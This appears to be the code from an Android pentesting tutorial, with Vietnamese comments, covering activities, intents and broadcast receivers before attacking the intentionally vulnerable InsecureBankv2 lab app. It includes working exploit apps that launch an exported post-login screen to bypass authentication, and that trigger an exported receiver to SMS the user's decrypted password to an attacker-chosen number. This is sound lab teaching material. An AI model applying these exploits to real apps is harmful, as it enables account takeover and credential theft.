package com.example.helloworld;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Log.i("AndroidMobilePentest", "Hello World!");
    }
}

2019-08-11 22:43:48.876  I/AndroidMobilePentest: Hello World!

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

import androidx.appcompat.app.AppCompatActivity;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import android.os.StrictMode.ThreadPolicy.Builder;
import android.os.StrictMode;
import android.os.Bundle;
import android.util.Log;

StrictMode.setThreadPolicy(new Builder().permitAll().build());

// Định nghĩa URL
String url = "https://tsug0d.com/present/tsu.txt";
StringBuilder url_holder = new StringBuilder();
url_holder.append(url);

try {
    // Tạo connection
    URLConnection conn = new URL(url_holder.toString()).openConnection();

    // Set headers
    conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    conn.setRequestProperty("charset", "utf-8");
    conn.setUseCaches(false);

    // Đọc response
    BufferedReader buffer = new BufferedReader(
        new InputStreamReader(conn.getInputStream())
    );

    String response;
    String data_from_stream;
    for (response = new String(); true; response += data_from_stream) {
        String stream = buffer.readLine();
        data_from_stream = stream;
        if (stream == null) {
            break;
        }
    }

    Log.i("tsu", response);

} catch (Exception e) {
    e.printStackTrace();
}

@Override
protected void onStart() {
    super.onStart();
    Log.i("AndroidMobilePentest", "=== onStart() ===");
}

@Override
protected void onResume() {
    super.onResume();
    Log.i("AndroidMobilePentest", "=== onResume() ===");
}

@Override
protected void onPause() {
    super.onPause();
    Log.i("AndroidMobilePentest", "=== onPause() ===");
}

@Override
protected void onStop() {
    super.onStop();
    Log.i("AndroidMobilePentest", "=== onStop() ===");
}

@Override
protected void onDestroy() {
    super.onDestroy();
    Log.i("AndroidMobilePentest", "=== onDestroy() ===");
}

@Override
protected void onRestart() {
    super.onRestart();
    Log.i("AndroidMobilePentest", "=== onRestart() ===");
}

// Activity A gọi Activity B trong cùng app
Intent i = new Intent(FirstActivity.this, SecondActivity.class);
startActivity(i);

Intent read_contact = new Intent();
read_contact.setAction(android.content.Intent.ACTION_VIEW);
read_contact.setData(ContactsContract.Contacts.CONTENT_URI);
startActivity(read_contact);

<activity android:name=".CustomActivity"
   android:label="@string/app_name">

   <intent-filter>
      <action android:name="android.intent.action.VIEW" />
      <action android:name="com.example.MyApplication.LAUNCH" />
      <category android:name="android.intent.category.DEFAULT" />
      <data android:scheme="http" />
   </intent-filter>

</activity>

apktool d InsecureBankv2.apk

<activity
    android:exported="true"
    android:label="@string/title_activity_post_login"
    android:name="com.android.insecurebankv2.PostLogin" />

package com.example.exploitactivity;

import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button mButton = (Button) findViewById(R.id.button);
        mButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                // Tạo explicit intent gọi thẳng vào PostLogin
                Intent tsu = new Intent(Intent.ACTION_SEND);
                tsu.setClassName(
                    "com.android.insecurebankv2",
                    "com.android.insecurebankv2.PostLogin"
                );
                startActivity(tsu);
            }
        });
    }
}

public class MainActivity extends AppCompatActivity {

    private Broadcast broadcast;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Tạo receiver instance
        broadcast = new Broadcast();

        // Đăng ký lắng nghe action AIRPLANE_MODE
        IntentFilter filter = new IntentFilter("android.intent.action.AIRPLANE_MODE");
        registerReceiver(broadcast, filter);
    }

    @Override
    protected void onStop() {
        super.onStop();
        // Hủy đăng ký khi app dừng để tránh memory leak
        unregisterReceiver(broadcast);
    }
}

// Định nghĩa class Receiver
class Broadcast extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Log.d(Broadcast.class.getSimpleName(), "Air Plane mode");
    }
}

D/Broadcast: Air Plane mode

<receiver
    android:exported="true"
    android:name="com.android.insecurebankv2.MyBroadCastReceiver">
    <intent-filter>
        <action android:name="theBroadcast" />
    </intent-filter>
</receiver>

Intent localIntent = new Intent();
localIntent.setAction("theBroadcast");
localIntent.putExtra("phonenumber", paramString1);
localIntent.putExtra("newpass", paramString2);
sendBroadcast(localIntent);

public void onReceive(Context paramContext, Intent paramIntent) {
    String str1 = paramIntent.getStringExtra("phonenumber"); // số điện thoại
    String str2 = paramIntent.getStringExtra("newpass");     // mật khẩu mới

    if (str1 != null) {
        try {
            SharedPreferences localSharedPreferences =
                paramContext.getSharedPreferences(...);
            this.usernameBase64ByteString =
                new String(Base64.decode(localSharedPreferences...));
            String str3 = localSharedPreferences.getString("superSecurePassword", ...);
            String str4 = new CryptoClass().aesDecryptedString(str3); // mật khẩu hiện tại
            String str5 = str1.toString();
            String str6 = "Updated Password from: " + str4 + " to: " + str2;

            SmsManager localSmsManager = SmsManager.getDefault();
            localSmsManager.sendTextMessage(str5, null, str6, null, null);
        }
    }
}

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    Intent tsu = new Intent("theBroadcast");
    tsu.putExtra("phonenumber", "15555218135");         // số điện thoại nhận SMS
    tsu.putExtra("newpass", "tsudeptrai");               // nội dung attacker kiểm soát
    sendBroadcast(tsu);
}

Updated Password from: Jack@123$ to: tsudeptrai